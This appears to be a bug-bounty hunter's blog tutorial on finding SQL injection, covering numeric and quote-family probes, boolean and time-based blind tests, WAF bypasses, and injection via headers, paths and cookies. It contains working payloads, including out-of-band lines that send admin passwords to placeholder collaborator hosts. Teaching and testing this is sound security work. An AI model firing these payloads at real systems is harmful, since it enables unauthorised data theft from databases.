The day I realized ' wasn't enough
I was testing a endpoint. Sent a single quote — 200 OK. Sent another – 200 OK. No error, no change.
I moved on.
Days later, another hunter dropped a critical SQLi on the same endpoint. He used ) OR 1=1--.
That's when it hit me : I was hunting with one bullet. He had a full magazine .

The wrong mindset (most beginners have it)
"Send a quote → see error → SQLi. No error → no SQLi."That's like checking if a door is locked by only pushing it. What if you need to pull? What if there's no door at all — just a window?
SQL injection isn't about the quote. It's about breaking the query structure the developer built.
Once you understand how the query looks, you know what breaks it.
The golden rule (write it on your wall)
Break the syntax, not just quotes .
A developer writes :
WHERE id = $inputA quote does nothing here. But 5-2 instead of 3? That changes the logic .
Another writes :
WHERE username = '$input'Now a single quote breaks it .
Another writes :
WHERE id = ($input)Now you need ) before your payload .
See the pattern? The query structure decides the weapon .
My actual workflow (step by step)
I don't start with ' anymore. Here's what I do :
1. Math first
If the parameter looks like a number — ?id=123 – I try :
?id=123-0
?id=123-1Same result? Not injectable. Different result? Numeric SQLi — no quotes needed .
2. The quote family
If math gives nothing, I test quotes in this order :
' – the classic. Breaks '$input'
" – for Oracle, or when dev uses double quotes around identifiers
` – backtick for MySQL column/table names (rare, but I've seen it)3. Parentheses — the hidden gem
This one pays bounties .
If the app uses an ORM or complex queries, you often see :
WHERE id = ('$input')Your single quote gives (''') – syntax error, but many apps hide it .
Try ') OR 1=1 -- instead .
I found a blind SQLi in a GraphQL endpoint this way. Single quote did nothing. ) opened the door .
4. Backslash — the underdog
Some developers escape quotes with addslashes() or similar. Your ' becomes \' – harmless .
But send \' and watch. The backslash escapes the backslash, leaving the quote active .
Input: \'
Becomes: \\' → then \' in SQL → quote lives.It's niche, but when it works, it's beautiful .
5. Percent sign — only for LIKE
If the parameter is a search that returns partial matches, the query probably uses LIKE:
WHERE product_name LIKE '%$input%'Here, % is a wildcard. Send % alone – does it return everything? Send a% – more results than a?
That's not a traditional SQLi, but it's information disclosure. And sometimes it leads to real injection via ' inside the LIKE.

WHAT IS NEXT ??
The "200 OK" lie (most hunters get trapped here)
You send '. Server says 200 OK. Same content .
That does NOT mean no SQLi .
Here's what could be happening :
- WAF sanitized your quote and passed a clean query
- Custom error handler caught the SQL error and showed a generic page
- It's blind — the query broke, but the app hides the evidence
So how do you confirm ?
Boolean blind test
Send two requests :
?id=1 AND 1=1
?id=1 AND 1=2Compare the responses. Different content? Different length? Different number of results ?
That's SQLi. Even with 200 OK and no quotes .
Time-based test
If content is identical, add a delay :
?id=1 AND SLEEP(5)Wait. Does the response take five seconds longer?
If yes — time-based blind SQLi. The server is vulnerable.
Out-of-band (OOB) — your nuclear option
WAF blocking SLEEP, AND, OR? Try DNS exfiltration :
' AND LOAD_FILE(CONCAT('\\\\',(SELECT database()),'.yourcollab.com\\a')) --If you see a DNS hit in your collaborator, confirmed SQLi — even if everything else failed .
WAF bypass — when the firewall fights back
WAFs like Cloudflare or ModSec can ruin your day. They either block (403) or sanitize (remove dangerous characters and return normal 200).
I've seen both. Here's how I fight back :
Case variation
Some WAFs miss mixed case :
SelEcT, UnIoN, SlEePWorks more often than you think .
Double URL encoding
Single quote ' becomes %2527. The WAF decodes once and sees %27 (maybe safe), then the app decodes again to '.
Heavy queries (no sleep keyword)
If SLEEP() is blocked, use a heavy join that takes time :
AND (SELECT COUNT(*) FROM information_schema.tables t1, information_schema.tables t2)No SLEEP, no BENCHMARK, just raw CPU. WAF lets it through .
OOB bypasses everything
DNS exfiltration doesn't need SLEEP or UNION. Many WAFs ignore LOAD_FILE or xp_dirtree because they're rare. But they work beautifully.
Real example: a target where every ' OR SLEEP(5) was stripped. I switched to ' AND LOAD_FILE(CONCAT('\\\\',(SELECT password FROM admins LIMIT 1),'.collab.com\\a')) and got a DNS hit within seconds. Confirmed blind OOB SQLi .
Different SQL statements — different testing
Not all SQLi is SELECT. You'll find injection in INSERT, UPDATE, DELETE too. The detection changes.
SELECT – the easy one
You see data. You can use UNION, error-based, boolean – whatever works.
INSERT – sneaky
You don't see the result immediately. But you can :
- Cause a column count mismatch error (send too many values)
- Inject a second-order payload — e.g., register with
username = admin' --, then later when you view your profile, theSELECTtriggers the injection .
UPDATE – blind but powerful
You update your profile, but you see no output. Use time-based :
email = test' AND SLEEP(5) --If the response delays, you have blind SQLi on the UPDATE. Now you can extract data by changing conditions .
DELETE – dangerous but testable
Never test with actual delete. Use OOB :
id=123 AND (SELECT UTL_HTTP.request('http://collab.com/'||(SELECT password FROM admins LIMIT 1)) FROM dual) --No rows deleted, but you get the data via DNS/HTTP .
Key takeaway: Don't ignore non-SELECT parameters. They often have weaker input validation .
Places you should inject (I inject everywhere)
Don't just test URL parameters. SQLi lives in weird places .
1 — GET request parameters :
/path/?username=xyz'--+2 — POST request parameters :
x=value'-- (space after --)Or you can use '# for MySQL .
3 — HTTP headers :
X-Forwarded-For: 127.0.0.1' AND SLEEP(100)--4 — URL paths :
/file/' AND SLEEP(100)--Yes, the path itself. If the app uses path parameters like /user/123 and the number is reflected in a query, try /user/123' AND SLEEP(5)--.
5 — Any user input :
xyz' OR SLEEP(100)--Search boxes, comment fields, contact forms — everywhere .
6 — Cookie parameters :
sessionID=xyz' AND SLEEP(100);--Cookies are often trusted but rarely sanitized. I've seen session IDs dropped directly into SQL.
Blind SQLi made simple
🔻Error-based — You see database errors. Easy mode.
🔻Boolean blind — You see content change (yes/no, 1 result vs 0, "Welcome" vs nothing). No errors, just behavior.
🔻Time-based — Everything looks identical, but the response comes back slower when your condition is true.
🔻OOB — No change in the response at all, but your server receives a DNS or HTTP request from the target.
🔻 Each type needs a different test. Start with boolean (cheapest). Then time. Then OOB.
My closing checklist (I ask myself these 5 questions)
Before I mark a parameter as "not injectable", I make sure:
Did I test math on numeric parameters?
Did I try ', ", `, ), and \?
Did I compare AND 1=1 vs AND 1=2 (content and length)?
Did I attempt a time-based delay (SLEEP, pg_sleep, WAITFOR)?
Does the endpoint accept JSON/XML? Did I test there too?
If the answer to all is "yes" and nothing worked – then I move on.
But 80% of the time, one of these catches something.
Final words
Stop treating SQLi like a "quote and error" game.
Think like the developer. Imagine the query they wrote. Then break it .
' is one key on your keyboard. You have a whole set .
Use them. Inject everywhere. Break the syntax .
Now go break some syntax .
إن أصبت فمن الله، وإن أخطأت فمن نفسي ومن الشيطان 🤍
Use them. Inject everywhere. Break the syntax.